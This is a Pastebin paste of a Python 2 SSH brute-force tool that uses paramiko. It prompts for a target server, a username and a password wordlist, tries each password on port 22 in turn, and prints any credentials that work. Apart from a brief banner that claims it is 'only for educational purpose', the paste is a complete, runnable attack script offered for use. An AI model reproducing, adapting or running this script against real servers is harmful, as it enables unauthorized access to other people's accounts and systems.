SHARE
TWEET

SSH Attacker Script [ 13lackD3mon ]

a guest Jun 18th, 2015 1,107 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2. import sys
  3. try:
  4.     import paramiko
  5. except:
  6.     #!exit if lib. paramiko not found in python.
  7.     sys.exit(1);
  8.  
  9. print """
  10.  
  11.  Dark SSH Attack Script
  12.  Written By : Tanmay Upadhyay [ India ]
  13.  Email : kevinmetnik606@gmail.com
  14.  
  15.  [WARNING] Only for educational purpose dont use it for hacking purpose.
  16.  
  17.  Write this script after reading #Sergeant article on ssh bruteforce.
  18.  
  19.  
  20. \n\n
  21. """
  22.  
  23. def _brute_():
  24.     global host,user,wordlist;
  25.     host = raw_input("[*] Target Server : ");
  26.     user = raw_input("[*] Target User : ");
  27.     wordlist = raw_input("[*] Wordlist : ");
  28.  
  29.     ssh = paramiko.SSHClient();
  30.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy());
  31.     f = open(wordlist,'r');
  32.     data = f.readlines();
  33.     len_data = len(data);
  34.     print "[!] wordlist contain [ %s ] words."%len_data
  35.     print "[!] connected to target ssh [ %s ]."%host
  36.     print "[!] starting attack on user [ %s ]."%user
  37.     print "\n\n";
  38.     for pas in data:
  39.         pas = pas.replace("\n","");
  40.         len_data -= 1;
  41.         try:
  42.             ssh.connect(host,port=22,username=user, password=pas);
  43.             print "\n";
  44.             print "------------------------------------------------------------------"
  45.             print "[ %s ] [success] user : %s | password : %s ."%(len_data,user,pas);
  46.             print "------------------------------------------------------------------"
  47.             sys.exit(1);
  48.         except paramiko.AuthenticationException:
  49.             print "[ %s ] [error] password %s is not correct."%(len_data,pas);
  50.  
  51.  
  52.  
  53.  
  54. try:
  55.     _brute_();
  56. except KeyboardInterrupt:
  57.     print "\n\n\t[ok] operation cancelled successfully [ ctrl + c ] pressed.\n\n";
  58.     sys.exit(1);
  59. except socket.error:
  60.     print "\n\t[fail] unable to establish connection on target ssh [ %s ]."%host;
  61.     sys.exit(1);
  62. except IOError:
  63.     print "\n\t[fail] unable to open or read wordlist. please recheck it again.\n\n";
  64.     sys.exit(1);
  65. except:
  66.     pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top